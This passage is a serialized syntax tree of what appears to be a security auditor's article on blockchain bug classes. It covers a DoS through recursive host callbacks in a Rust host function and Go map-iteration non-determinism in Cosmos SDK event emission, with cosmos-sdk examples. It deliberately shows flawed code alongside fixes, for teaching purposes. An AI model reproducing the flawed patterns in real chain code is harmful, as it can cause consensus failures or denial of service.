env",{"type":23,"tag":75,"props":1252,"children":1253},{"style":209},[1254],{"type":29,"value":557},{"type":23,"tag":75,"props":1256,"children":1257},{"style":88},[1258],{"type":29,"value":1259},"call_function1",{"type":23,"tag":75,"props":1261,"children":1262},{"style":94},[1263],{"type":29,"value":643},{"type":23,"tag":75,"props":1265,"children":1267},{"style":1266},"--shiki-default:#CE9178",[1268],{"type":29,"value":971},{"type":23,"tag":75,"props":1270,"children":1271},{"style":94},[1272],{"type":29,"value":611},{"type":23,"tag":75,"props":1274,"children":1275},{"style":209},[1276],{"type":29,"value":1277},"&",{"type":23,"tag":75,"props":1279,"children":1280},{"style":94},[1281],{"type":29,"value":814},{"type":23,"tag":75,"props":1283,"children":1284},{"style":110},[1285],{"type":29,"value":1286},"out_size",{"type":23,"tag":75,"props":1288,"children":1289},{"style":209},[1290],{"type":29,"value":557},{"type":23,"tag":75,"props":1292,"children":1293},{"style":88},[1294],{"type":29,"value":1295},"into",{"type":23,"tag":75,"props":1297,"children":1298},{"style":94},[1299],{"type":29,"value":1300},"()])",{"type":23,"tag":75,"props":1302,"children":1303},{"style":209},[1304],{"type":29,"value":1225},{"type":23,"tag":75,"props":1306,"children":1307},{"style":94},[1308],{"type":29,"value":245},{"type":23,"tag":75,"props":1310,"children":1311},{"class":77,"line":220},[1312,1316,1321,1325,1330,1334,1338,1343,1348,1352],{"type":23,"tag":75,"props":1313,"children":1314},{"style":82},[1315],{"type":29,"value":1183},{"type":23,"tag":75,"props":1317,"children":1318},{"style":110},[1319],{"type":29,"value":1320}," target_ptr",{"type":23,"tag":75,"props":1322,"children":1323},{"style":209},[1324],{"type":29,"value":1193},{"type":23,"tag":75,"props":1326,"children":1327},{"style":88},[1328],{"type":29,"value":1329}," ref_to_u32",{"type":23,"tag":75,"props":1331,"children":1332},{"style":94},[1333],{"type":29,"value":643},{"type":23,"tag":75,"props":1335,"children":1336},{"style":209},[1337],{"type":29,"value":1277},{"type":23,"tag":75,"props":1339,"children":1340},{"style":110},[1341],{"type":29,"value":1342},"result",{"type":23,"tag":75,"props":1344,"children":1345},{"style":94},[1346],{"type":29,"value":1347},")",{"type":23,"tag":75,"props":1349,"children":1350},{"style":209},[1351],{"type":29,"value":1225},{"type":23,"tag":75,"props":1353,"children":1354},{"style":94},[1355],{"type":29,"value":245},{"type":23,"tag":75,"props":1357,"children":1358},{"class":77,"line":248},[1359,1364,1368,1373,1377],{"type":23,"tag":75,"props":1360,"children":1361},{"style":175},[1362],{"type":29,"value":1363},"    if",{"type":23,"tag":75,"props":1365,"children":1366},{"style":110},[1367],{"type":29,"value":1320},{"type":23,"tag":75,"props":1369,"children":1370},{"style":209},[1371],{"type":29,"value":1372}," ==",{"type":23,"tag":75,"props":1374,"children":1375},{"style":237},[1376],{"type":29,"value":240},{"type":23,"tag":75,"props":1378,"children":1379},{"style":94},[1380],{"type":29,"value":401},{"type":23,"tag":75,"props":1382,"children":1383},{"class":77,"line":270},[1384,1389,1394,1398,1403,1408,1413,1418,1422,1426],{"type":23,"tag":75,"props":1385,"children":1386},{"style":175},[1387],{"type":29,"value":1388},"        return",{"type":23,"tag":75,"props":1390,"children":1391},{"style":104},[1392],{"type":29,"value":1393}," Err",{"type":23,"tag":75,"props":1395,"children":1396},{"style":94},[1397],{"type":29,"value":643},{"type":23,"tag":75,"props":1399,"children":1400},{"style":104},[1401],{"type":29,"value":1402},"CommunicationError",{"type":23,"tag":75,"props":1404,"children":1405},{"style":209},[1406],{"type":29,"value":1407},"::",{"type":23,"tag":75,"props":1409,"children":1410},{"style":88},[1411],{"type":29,"value":1412},"zero_address",{"type":23,"tag":75,"props":1414,"children":1415},{"style":94},[1416],{"type":29,"value":1417},"()",{"type":23,"tag":75,"props":1419,"children":1420},{"style":209},[1421],{"type":29,"value":557},{"type":23,"tag":75,"props":1423,"children":1424},{"style":88},[1425],{"type":29,"value":1295},{"type":23,"tag":75,"props":1427,"children":1428},{"style":94},[1429],{"type":29,"value":1430},"());\n",{"type":23,"tag":75,"props":1432,"children":1433},{"class":77,"line":279},[1434],{"type":23,"tag":75,"props":1435,"children":1436},{"style":94},[1437],{"type":29,"value":346},{"type":23,"tag":75,"props":1439,"children":1440},{"class":77,"line":303},[1441,1446,1450,1454,1459,1463,1467,1472,1477,1481,1485,1489,1493],{"type":23,"tag":75,"props":1442,"children":1443},{"style":88},[1444],{"type":29,"value":1445},"    write_region",{"type":23,"tag":75,"props":1447,"children":1448},{"style":94},[1449],{"type":29,"value":643},{"type":23,"tag":75,"props":1451,"children":1452},{"style":209},[1453],{"type":29,"value":1277},{"type":23,"tag":75,"props":1455,"children":1456},{"style":110},[1457],{"type":29,"value":1458},"env",{"type":23,"tag":75,"props":1460,"children":1461},{"style":209},[1462],{"type":29,"value":557},{"type":23,"tag":75,"props":1464,"children":1465},{"style":88},[1466],{"type":29,"value":153},{"type":23,"tag":75,"props":1468,"children":1469},{"style":94},[1470],{"type":29,"value":1471},"(), ",{"type":23,"tag":75,"props":1473,"children":1474},{"style":110},[1475],{"type":29,"value":1476},"target_ptr",{"type":23,"tag":75,"props":1478,"children":1479},{"style":94},[1480],{"type":29,"value":611},{"type":23,"tag":75,"props":1482,"children":1483},{"style":110},[1484],{"type":29,"value":1207},{"type":23,"tag":75,"props":1486,"children":1487},{"style":94},[1488],{"type":29,"value":1347},{"type":23,"tag":75,"props":1490,"children":1491},{"style":209},[1492],{"type":29,"value":1225},{"type":23,"tag":75,"props":1494,"children":1495},{"style":94},[1496],{"type":29,"value":245},{"type":23,"tag":75,"props":1498,"children":1499},{"class":77,"line":322},[1500,1505,1509,1513],{"type":23,"tag":75,"props":1501,"children":1502},{"style":104},[1503],{"type":29,"value":1504},"    Ok",{"type":23,"tag":75,"props":1506,"children":1507},{"style":94},[1508],{"type":29,"value":643},{"type":23,"tag":75,"props":1510,"children":1511},{"style":110},[1512],{"type":29,"value":1476},{"type":23,"tag":75,"props":1514,"children":1515},{"style":94},[1516],{"type":29,"value":653},{"type":23,"tag":75,"props":1518,"children":1519},{"class":77,"line":340},[1520],{"type":23,"tag":75,"props":1521,"children":1522},{"style":94},[1523],{"type":29,"value":369},{"type":23,"tag":32,"props":1525,"children":1526},{},[1527,1529,1535,1537,1542],{"type":29,"value":1528},"As users have complete control over ",{"type":23,"tag":71,"props":1530,"children":1532},{"className":1531},[],[1533],{"type":29,"value":1534},"allocate",{"type":29,"value":1536},", there is a possibility to call back ",{"type":23,"tag":71,"props":1538,"children":1540},{"className":1539},[],[1541],{"type":29,"value":963},{"type":29,"value":1543}," repeatedly through other imported functions. This can result in the depletion of the host stack and ultimately lead to a DoS.",{"type":23,"tag":32,"props":1545,"children":1546},{},[1547,1549,1556],{"type":29,"value":1548},"Additional real-world examples include ",{"type":23,"tag":940,"props":1550,"children":1553},{"href":1551,"rel":1552},"https://github.com/cosmos/cosmos-sdk/issues/16676",[944],[1554],{"type":29,"value":1555},"not returning proper values for malformed txs",{"type":29,"value":557},{"type":23,"tag":24,"props":1558,"children":1560},{"id":1559},"order-was-the-dream-of-man",[1561],{"type":29,"value":1562},"Order Was the Dream of Man",{"type":23,"tag":32,"props":1564,"children":1565},{},[1566],{"type":29,"value":1567},"Different from solidity, which is a domain-specific language for smart contracts, Golang is not. Therefore, developers must be mindful of specific footguns. One notable instance is non-determinism.",{"type":23,"tag":32,"props":1569,"children":1570},{},[1571],{"type":29,"value":1572},"Consider a scenario where there is a requirement to emit an event for every entry in a map. It might be tempting to implement this as demonstrated below:",{"type":23,"tag":64,"props":1574,"children":1576},{"code":1575,"language":373,"meta":7,"className":374,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    for key, value := range objectMap {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, value),\n            )\n        )\n    }\n}\n",[1577],{"type":23,"tag":71,"props":1578,"children":1579},{"__ignoreMap":7},[1580,1616,1623,1652,1691,1721,1742,1754,1793,1801,1809,1816],{"type":23,"tag":75,"props":1581,"children":1582},{"class":77,"line":78},[1583,1587,1592,1597,1601,1606,1611],{"type":23,"tag":75,"props":1584,"children":1585},{"style":82},[1586],{"type":29,"value":386},{"type":23,"tag":75,"props":1588,"children":1589},{"style":104},[1590],{"type":29,"value":1591}," ObjectMap",{"type":23,"tag":75,"props":1593,"children":1594},{"style":82},[1595],{"type":29,"value":1596}," map",{"type":23,"tag":75,"props":1598,"children":1599},{"style":94},[1600],{"type":29,"value":814},{"type":23,"tag":75,"props":1602,"children":1603},{"style":104},[1604],{"type":29,"value":1605},"string",{"type":23,"tag":75,"props":1607,"children":1608},{"style":94},[1609],{"type":29,"value":1610},"]",{"type":23,"tag":75,"props":1612,"children":1613},{"style":104},[1614],{"type":29,"value":1615},"string\n",{"type":23,"tag":75,"props":1617,"children":1618},{"class":77,"line":100},[1619],{"type":23,"tag":75,"props":1620,"children":1621},{"emptyLinePlaceholder":15},[1622],{"type":29,"value":276},{"type":23,"tag":75,"props":1624,"children":1625},{"class":77,"line":121},[1626,1630,1635,1639,1644,1648],{"type":23,"tag":75,"props":1627,"children":1628},{"style":82},[1629],{"type":29,"value":512},{"type":23,"tag":75,"props":1631,"children":1632},{"style":88},[1633],{"type":29,"value":1634}," EmitEntries",{"type":23,"tag":75,"props":1636,"children":1637},{"style":94},[1638],{"type":29,"value":643},{"type":23,"tag":75,"props":1640,"children":1641},{"style":110},[1642],{"type":29,"value":1643},"objectMap",{"type":23,"tag":75,"props":1645,"children":1646},{"style":104},[1647],{"type":29,"value":1591},{"type":23,"tag":75,"props":1649,"children":1650},{"style":94},[1651],{"type":29,"value":193},{"type":23,"tag":75,"props":1653,"children":1654},{"class":77,"line":138},[1655,1659,1664,1668,1673,1677,1682,1687],{"type":23,"tag":75,"props":1656,"children":1657},{"style":175},[1658],{"type":29,"value":711},{"type":23,"tag":75,"props":1660,"children":1661},{"style":110},[1662],{"type":29,"value":1663}," key",{"type":23,"tag":75,"props":1665,"children":1666},{"style":94},[1667],{"type":29,"value":611},{"type":23,"tag":75,"props":1669,"children":1670},{"style":110},[1671],{"type":29,"value":1672},"value",{"type":23,"tag":75,"props":1674,"children":1675},{"style":209},[1676],{"type":29,"value":633},{"type":23,"tag":75,"props":1678,"children":1679},{"style":175},[1680],{"type":29,"value":1681}," range",{"type":23,"tag":75,"props":1683,"children":1684},{"style":110},[1685],{"type":29,"value":1686}," objectMap",{"type":23,"tag":75,"props":1688,"children":1689},{"style":94},[1690],{"type":29,"value":401},{"type":23,"tag":75,"props":1692,"children":1693},{"class":77,"line":161},[1694,1699,1703,1708,1712,1717],{"type":23,"tag":75,"props":1695,"children":1696},{"style":110},[1697],{"type":29,"value":1698},"        ctx",{"type":23,"tag":75,"props":1700,"children":1701},{"style":94},[1702],{"type":29,"value":557},{"type":23,"tag":75,"props":1704,"children":1705},{"style":110},[1706],{"type":29,"value":1707},"EventManager",{"type":23,"tag":75,"props":1709,"children":1710},{"style":94},[1711],{"type":29,"value":557},{"type":23,"tag":75,"props":1713,"children":1714},{"style":88},[1715],{"type":29,"value":1716},"EmitEvent",{"type":23,"tag":75,"props":1718,"children":1719},{"style":94},[1720],{"type":29,"value":97},{"type":23,"tag":75,"props":1722,"children":1723},{"class":77,"line":196},[1724,1729,1733,1738],{"type":23,"tag":75,"props":1725,"children":1726},{"style":110},[1727],{"type":29,"value":1728},"            sdk",{"type":23,"tag":75,"props":1730,"children":1731},{"style":94},[1732],{"type":29,"value":557},{"type":23,"tag":75,"props":1734,"children":1735},{"style":88},[1736],{"type":29,"value":1737},"NewEvent",{"type":23,"tag":75,"props":1739,"children":1740},{"style":94},[1741],{"type":29,"value":97},{"type":23,"tag":75,"props":1743,"children":1744},{"class":77,"line":220},[1745,1750],{"type":23,"tag":75,"props":1746,"children":1747},{"style":1266},[1748],{"type":29,"value":1749},"                \"MapContext\"",{"type":23,"tag":75,"props":1751,"children":1752},{"style":94},[1753],{"type":29,"value":118},{"type":23,"tag":75,"props":1755,"children":1756},{"class":77,"line":248},[1757,1762,1766,1771,1775,1780,1784,1788],{"type":23,"tag":75,"props":1758,"children":1759},{"style":110},[1760],{"type":29,"value":1761},"                sdk",{"type":23,"tag":75,"props":1763,"children":1764},{"style":94},[1765],{"type":29,"value":557},{"type":23,"tag":75,"props":1767,"children":1768},{"style":88},[1769],{"type":29,"value":1770},"NewAttribute",{"type":23,"tag":75,"props":1772,"children":1773},{"style":94},[1774],{"type":29,"value":643},{"type":23,"tag":75,"props":1776,"children":1777},{"style":110},[1778],{"type":29,"value":1779},"key",{"type":23,"tag":75,"props":1781,"children":1782},{"style":94},[1783],{"type":29,"value":611},{"type":23,"tag":75,"props":1785,"children":1786},{"style":110},[1787],{"type":29,"value":1672},{"type":23,"tag":75,"props":1789,"children":1790},{"style":94},[1791],{"type":29,"value":1792},"),\n",{"type":23,"tag":75,"props":1794,"children":1795},{"class":77,"line":270},[1796],{"type":23,"tag":75,"props":1797,"children":1798},{"style":94},[1799],{"type":29,"value":1800},"            )\n",{"type":23,"tag":75,"props":1802,"children":1803},{"class":77,"line":279},[1804],{"type":23,"tag":75,"props":1805,"children":1806},{"style":94},[1807],{"type":29,"value":1808},"        )\n",{"type":23,"tag":75,"props":1810,"children":1811},{"class":77,"line":303},[1812],{"type":23,"tag":75,"props":1813,"children":1814},{"style":94},[1815],{"type":29,"value":346},{"type":23,"tag":75,"props":1817,"children":1818},{"class":77,"line":322},[1819],{"type":23,"tag":75,"props":1820,"children":1821},{"style":94},[1822],{"type":29,"value":369},{"type":23,"tag":32,"props":1824,"children":1825},{},[1826],{"type":29,"value":1827},"It's important to note that Golang map iterators are unordered by design. As stated below in the Golang documentation citation, running the same code with different validators may result in varying event orders, potentially causing consensus problems.",{"type":23,"tag":1829,"props":1830,"children":1831},"blockquote",{},[1832],{"type":23,"tag":32,"props":1833,"children":1834},{},[1835],{"type":29,"value":1836},"When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next.",{"type":23,"tag":32,"props":1838,"children":1839},{},[1840,1842,1848],{"type":29,"value":1841},"To correctly implement iteration orders, developers must explicitly sort the keys of the ",{"type":23,"tag":71,"props":1843,"children":1845},{"className":1844},[],[1846],{"type":29,"value":1847},"map",{"type":29,"value":1849}," and then fetch the values using the sorted key array before emitting them.",{"type":23,"tag":64,"props":1851,"children":1853},{"code":1852,"language":373,"meta":7,"className":374,"style":7},"type ObjectMap map[string]string\n\nfunc EmitEntries(objectMap ObjectMap) {\n    var keys []string\n    for key := range objectMap {\n        keys = append(keys, key)\n    }\n    sort.Strings(keys)\n\n    for _, key := range keys {\n        ctx.EventManager.EmitEvent(\n            sdk.NewEvent(\n                \"MapContext\",\n                sdk.NewAttribute(key, objectMap[key]),\n            )\n        )\n    }\n}\n",[1854],{"type":23,"tag":71,"props":1855,"children":1856},{"__ignoreMap":7},[1857,1888,1895,1922,1943,1970,2008,2015,2044,2051,2087,2114,2133,2144,2188,2195,2202,2209],{"type":23,"tag":75,"props":1858,"children":1859},{"class":77,"line":78},[1860,1864,1868,1872,1876,1880,1884],{"type":23,"tag":75,"props":1861,"children":1862},{"style":82},[1863],{"type":29,"value":386},{"type":23,"tag":75,"props":1865,"children":1866},{"style":104},[1867],{"type":29,"value":1591},{"type":23,"tag":75,"props":1869,"children":1870},{"style":82},[1871],{"type":29,"value":1596},{"type":23,"tag":75,"props":1873,"children":1874},{"style":94},[1875],{"type":29,"value":814},{"type":23,"tag":75,"props":1877,"children":1878},{"style":104},[1879],{"type":29,"value":1605},{"type":23,"tag":75,"props":1881,"children":1882},{"style":94},[1883],{"type":29,"value":1610},{"type":23,"tag":75,"props":1885,"children":1886},{"style":104},[1887],{"type":29,"value":1615},{"type":23,"tag":75,"props":1889,"children":1890},{"class":77,"line":100},[1891],{"type":23,"tag":75,"props":1892,"children":1893},{"emptyLinePlaceholder":15},[1894],{"type":29,"value":276},{"type":23,"tag":75,"props":1896,"children":1897},{"class":77,"line":121},[1898,1902,1906,1910,1914,1918],{"type":23,"tag":75,"props":1899,"children":1900},{"style":82},[1901],{"type":29,"value":512},{"type":23,"tag":75,"props":1903,"children":1904},{"style":88},[1905],{"type":29,"value":1634},{"type":23,"tag":75,"props":1907,"children":1908},{"style":94},[1909],{"type":29,"value":643},{"type":23,"tag":75,"props":1911,"children":1912},{"style":110},[1913],{"type":29,"value":1643},{"type":23,"tag":75,"props":1915,"children":1916},{"style":104},[1917],{"type":29,"value":1591},{"type":23,"tag":75,"props":1919,"children":1920},{"style":94},[1921],{"type":29,"value":193},{"type":23,"tag":75,"props":1923,"children":1924},{"class":77,"line":138},[1925,1930,1935,1939],{"type":23,"tag":75,"props":1926,"children":1927},{"style":82},[1928],{"type":29,"value":1929},"    var",{"type":23,"tag":75,"props":1931,"children":1932},{"style":110},[1933],{"type":29,"value":1934}," keys",{"type":23,"tag":75,"props":1936,"children":1937},{"style":94},[1938],{"type":29,"value":439},{"type":23,"tag":75,"props":1940,"children":1941},{"style":104},[1942],{"type":29,"value":1615},{"type":23,"tag":75,"props":1944,"children":1945},{"class":77,"line":161},[1946,1950,1954,1958,1962,1966],{"type":23,"tag":75,"props":1947,"children":1948},{"style":175},[1949],{"type":29,"value":711},{"type":23,"tag":75,"props":1951,"children":1952},{"style":110},[1953],{"type":29,"value":1663},{"type":23,"tag":75,"props":1955,"children":1956},{"style":209},[1957],{"type":29,"value":633},{"type":23,"tag":75,"props":1959,"children":1960},{"style":175},[1961],{"type":29,"value":1681},{"type":23,"tag":75,"props":1963,"children":1964},{"style":110},[1965],{"type":29,"value":1686},{"type":23,"tag":75,"props":1967,"children":1968},{"style":94},[1969],{"type":29,"value":401},{"type":23,"tag":75,"props":1971,"children":1972},{"class":77,"line":196},[1973,1978,1982,1987,1991,1996,2000,2004],{"type":23,"tag":75,"props":1974,"children":1975},{"style":110},[1976],{"type":29,"value":1977},"        keys",{"type":23,"tag":75,"props":1979,"children":1980},{"style":209},[1981],{"type":29,"value":1193},{"type":23,"tag":75,"props":1983,"children":1984},{"style":88},[1985],{"type":29,"value":1986}," append",{"type":23,"tag":75,"props":1988,"children":1989},{"style":94},[1990],{"type":29,"value":643},{"type":23,"tag":75,"props":1992,"children":1993},{"style":110},[1994],{"type":29,"value":1995},"keys",{"type":23,"tag":75,"props":1997,"children":1998},{"style":94},[1999],{"type":29,"value":611},{"type":23,"tag":75,"props":2001,"children":2002},{"style":110},[2003],{"type":29,"value":1779},{"type":23,"tag":75,"props":2005,"children":2006},{"style":94},[2007],{"type":29,"value":653},{"type":23,"tag":75,"props":2009,"children":2010},{"class":77,"line":220},[2011],{"type":23,"tag":75,"props":2012,"children":2013},{"style":94},[2014],{"type":29,"value":346},{"type":23,"tag":75,"props":2016,"children":2017},{"class":77,"line":248},[2018,2023,2027,2032,2036,2040],{"type":23,"tag":75,"props":2019,"children":2020},{"style":110},[2021],{"type":29,"value":2022},"    sort",{"type":23,"tag":75,"props":2024,"children":2025},{"style":94},[2026],{"type":29,"value":557},{"type":23,"tag":75,"props":2028,"children":2029},{"style":88},[2030],{"type":29,"value":2031},"Strings",{"type":23,"tag":75,"props":2033,"children":2034},{"style":94},[2035],{"type":29,"value":643},{"type":23,"tag":75,"props":2037,"children":2038},{"style":110},[2039],{"type":29,"value":1995},{"type":23,"tag":75,"props":2041,"children":2042},{"style":94},[2043],{"type":29,"value":653},{"type":23,"tag":75,"props":2045,"children":2046},{"class":77,"line":270},[2047],{"type":23,"tag":75,"props":2048,"children":2049},{"emptyLinePlaceholder":15},[2050],{"type":29,"value":276},{"type":23,"tag":75,"props":2052,"children":2053},{"class":77,"line":279},[2054,2058,2063,2067,2071,2075,2079,2083],{"type":23,"tag":75,"props":2055,"children":2056},{"style":175},[2057],{"type":29,"value":711},{"type":23,"tag":75,"props":2059,"children":2060},{"style":110},[2061],{"type":29,"value":2062}," _",{"type":23,"tag":75,"props":2064,"children":2065},{"style":94},[2066],{"type":29,"value":611},{"type":23,"tag":75,"props":2068,"children":2069},{"style":110},[2070],{"type":29,"value":1779},{"type":23,"tag":75,"props":2072,"children":2073},{"style":209},[2074],{"type":29,"value":633},{"type":23,"tag":75,"props":2076,"children":2077},{"style":175},[2078],{"type":29,"value":1681},{"type":23,"tag":75,"props":2080,"children":2081},{"style":110},[2082],{"type":29,"value":1934},{"type":23,"tag":75,"props":2084,"children":2085},{"style":94},[2086],{"type":29,"value":401},{"type":23,"tag":75,"props":2088,"children":2089},{"class":77,"line":303},[2090,2094,2098,2102,2106,2110],{"type":23,"tag":75,"props":2091,"children":2092},{"style":110},[2093],{"type":29,"value":1698},{"type":23,"tag":75,"props":2095,"children":2096},{"style":94},[2097],{"type":29,"value":557},{"type":23,"tag":75,"props":2099,"children":2100},{"style":110},[2101],{"type":29,"value":1707},{"type":23,"tag":75,"props":2103,"children":2104},{"style":94},[2105],{"type":29,"value":557},{"type":23,"tag":75,"props":2107,"children":2108},{"style":88},[2109],{"type":29,"value":1716},{"type":23,"tag":75,"props":2111,"children":2112},{"style":94},[2113],{"type":29,"value":97},{"type":23,"tag":75,"props":2115,"children":2116},{"class":77,"line":322},[2117,2121,2125,2129],{"type":23,"tag":75,"props":2118,"children":2119},{"style":110},[2120],{"type":29,"value":1728},{"type":23,"tag":75,"props":2122,"children":2123},{"style":94},[2124],{"type":29,"value":557},{"type":23,"tag":75,"props":2126,"children":2127},{"style":88},[2128],{"type":29,"value":1737},{"type":23,"tag":75,"props":2130,"children":2131},{"style":94},[2132],{"type":29,"value":97},{"type":23,"tag":75,"props":2134,"children":2135},{"class":77,"line":340},[2136,2140],{"type":23,"tag":75,"props":2137,"children":2138},{"style":1266},[2139],{"type":29,"value":1749},{"type":23,"tag":75,"props":2141,"children":2142},{"style":94},[2143],{"type":29,"value":118},{"type":23,"tag":75,"props":2145,"children":2146},{"class":77,"line":349},[2147,2151,2155,2159,2163,2167,2171,2175,2179,2183],{"type":23,"tag":75,"props":2148,"children":2149},{"style":110},[2150],{"type":29,"value":1761},{"type":23,"tag":75,"props":2152,"children":2153},{"style":94},[2154],{"type":29,"value":557},{"type":23,"tag":75,"props":2156,"children":2157},{"style":88},[2158],{"type":29,"value":1770},{"type":23,"tag":75,"props":2160,"children":2161},{"style":94},[2162],{"type":29,"value":643},{"type":23,"tag":75,"props":2164,"children":2165},{"style":110},[2166],{"type":29,"value":1779},{"type":23,"tag":75,"props":2168,"children":2169},{"style":94},[2170],{"type":29,"value":611},{"type":23,"tag":75,"props":2172,"children":2173},{"style":110},[2174],{"type":29,"value":1643},{"type":23,"tag":75,"props":2176,"children":2177},{"style":94},[2178],{"type":29,"value":814},{"type":23,"tag":75,"props":2180,"children":2181},{"style":110},[2182],{"type":29,"value":1779},{"type":23,"tag":75,"props":2184,"children":2185},{"style":94},[2186],{"type":29,"value":2187},"]),\n",{"type":23,"tag":75,"props":2189,"children":2190},{"class":77,"line":363},[2191],{"type":23,"tag":75,"props":2192,"children":2193},{"style":94},[2194],{"type":29,"value":1800},{"type":23,"tag":75,"props":2196,"children":2197},{"class":77,"line":656},[2198],{"type":23,"tag":75,"props":2199,"children":2200},{"style":94},[2201],{"type":29,"value":1808},{"type":23,"tag":75,"props":2203,"children":2204},{"class":77,"line":705},[2205],{"type":23,"tag":75,"props":2206,"children":2207},{"style":94},[2208],{"type":29,"value":346},{"type":23,"tag":75,"props":2210,"children":2211},{"class":77,"line":787},[2212],{"type":23,"tag":75,"props":2213,"children":2214},{"style":94},[2215],{"type":29,"value":369},{"type":23,"tag":32,"props":2217,"children":2218},{},[2219],{"type":29,"value":2220},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":23,"tag":923,"props":2222,"children":2224},{"id":2223},"real-world-examples-1",[2225],{"type":29,"value":928},{"type":23,"tag":32,"props":2227,"children":2228},{},[2229,2231,2236,2238,2245,2247,2253,2255,2261],{"type":29,"value":2230},"Real-world examples of ",{"type":23,"tag":71,"props":2232,"children":2234},{"className":2233},[],[2235],{"type":29,"value":1847},{"type":29,"value":2237}," causing determinism problems can be found ",{"type":23,"tag":940,"props":2239,"children":2242},{"href":2240,"rel":2241},"https://github.com/cosmos/cosmos-sdk/pull/12487",[944],[2243],{"type":29,"value":2244},"here",{"type":29,"value":2246},", specifically, where the result of ",{"type":23,"tag":71,"props":2248,"children":2250},{"className":2249},[],[2251],{"type":29,"value":2252},"buildCommitInfo",{"type":29,"value":2254}," is inconsistent due to iteration over the ",{"type":23,"tag":71,"props":2256,"children":2258},{"className":2257},[],[2259],{"type":29,"value":2260},"rs.stores",{"type":29,"value":2262}," map.",{"type":23,"tag":32,"props":2264,"children":2265},{},[2266],{"type":23,"tag":940,"props":2267,"children":2270},{"href":2268,"rel":2269},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[944],[2271],{"type":29,"value":982},{"type":23,"tag":64,"props":2273,"children":2275},{"code":2274,"language":373,"meta":7,"className":374,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[2276],{"type":23,"tag":71,"props":2277,"children":2278},{"__ignoreMap":7},[2279,2316,2329,2358,2392,2438,2488,2496,2504,2550,2581,2610,2618,2625,2652,2674,2694,2701],{"type":23,"tag":75,"props":2280,"children":2281},{"class":77,"line":78},[2282,2286,2290,2295,2299,2304,2308,2312],{"type":23,"tag":75,"props":2283,"children":2284},{"style":82},[2285],{"type":29,"value":512},{"type":23,"tag":75,"props":2287,"children":2288},{"style":94},[2289],{"type":29,"value":183},{"type":23,"tag":75,"props":2291,"children":2292},{"style":110},[2293],{"type":29,"value":2294},"rs ",{"type":23,"tag":75,"props":2296,"children":2297},{"style":209},[2298],{"type":29,"value":601},{"type":23,"tag":75,"props":2300,"children":2301},{"style":104},[2302],{"type":29,"value":2303},"Store",{"type":23,"tag":75,"props":2305,"children":2306},{"style":94},[2307],{"type":29,"value":167},{"type":23,"tag":75,"props":2309,"children":2310},{"style":88},[2311],{"type":29,"value":2252},{"type":23,"tag":75,"props":2313,"children":2314},{"style":94},[2315],{"type":29,"value":97},{"type":23,"tag":75,"props":2317,"children":2318},{"class":77,"line":100},[2319,2324],{"type":23,"tag":75,"props":2320,"children":2321},{"style":110},[2322],{"type":29,"value":2323},"    version",{"type":23,"tag":75,"props":2325,"children":2326},{"style":104},[2327],{"type":29,"value":2328}," int64\n",{"type":23,"tag":75,"props":2330,"children":2331},{"class":77,"line":121},[2332,2336,2340,2345,2349,2354],{"type":23,"tag":75,"props":2333,"children":2334},{"style":94},[2335],{"type":29,"value":167},{"type":23,"tag":75,"props":2337,"children":2338},{"style":209},[2339],{"type":29,"value":601},{"type":23,"tag":75,"props":2341,"children":2342},{"style":104},[2343],{"type":29,"value":2344},"types",{"type":23,"tag":75,"props":2346,"children":2347},{"style":94},[2348],{"type":29,"value":557},{"type":23,"tag":75,"props":2350,"children":2351},{"style":104},[2352],{"type":29,"value":2353},"CommitInfo",{"type":23,"tag":75,"props":2355,"children":2356},{"style":94},[2357],{"type":29,"value":401},{"type":23,"tag":75,"props":2359,"children":2360},{"class":77,"line":138},[2361,2366,2370,2374,2378,2382,2387],{"type":23,"tag":75,"props":2362,"children":2363},{"style":110},[2364],{"type":29,"value":2365},"    storeInfos",{"type":23,"tag":75,"props":2367,"children":2368},{"style":209},[2369],{"type":29,"value":633},{"type":23,"tag":75,"props":2371,"children":2372},{"style":94},[2373],{"type":29,"value":439},{"type":23,"tag":75,"props":2375,"children":2376},{"style":104},[2377],{"type":29,"value":2344},{"type":23,"tag":75,"props":2379,"children":2380},{"style":94},[2381],{"type":29,"value":557},{"type":23,"tag":75,"props":2383,"children":2384},{"style":104},[2385],{"type":29,"value":2386},"StoreInfo",{"type":23,"tag":75,"props":2388,"children":2389},{"style":94},[2390],{"type":29,"value":2391},"{}\n",{"type":23,"tag":75,"props":2393,"children":2394},{"class":77,"line":161},[2395,2399,2403,2407,2412,2416,2420,2425,2429,2434],{"type":23,"tag":75,"props":2396,"children":2397},{"style":175},[2398],{"type":29,"value":711},{"type":23,"tag":75,"props":2400,"children":2401},{"style":110},[2402],{"type":29,"value":1663},{"type":23,"tag":75,"props":2404,"children":2405},{"style":94},[2406],{"type":29,"value":611},{"type":23,"tag":75,"props":2408,"children":2409},{"style":110},[2410],{"type":29,"value":2411},"store",{"type":23,"tag":75,"props":2413,"children":2414},{"style":209},[2415],{"type":29,"value":633},{"type":23,"tag":75,"props":2417,"children":2418},{"style":175},[2419],{"type":29,"value":1681},{"type":23,"tag":75,"props":2421,"children":2422},{"style":110},[2423],{"type":29,"value":2424}," rs",{"type":23,"tag":75,"props":2426,"children":2427},{"style":94},[2428],{"type":29,"value":557},{"type":23,"tag":75,"props":2430,"children":2431},{"style":110},[2432],{"type":29,"value":2433},"stores",{"type":23,"tag":75,"props":2435,"children":2436},{"style":94},[2437],{"type":29,"value":401},{"type":23,"tag":75,"props":2439,"children":2440},{"class":77,"line":196},[2441,2446,2451,2455,2460,2465,2470,2475,2479,2484],{"type":23,"tag":75,"props":2442,"children":2443},{"style":175},[2444],{"type":29,"value":2445},"        if",{"type":23,"tag":75,"props":2447,"children":2448},{"style":110},[2449],{"type":29,"value":2450}," 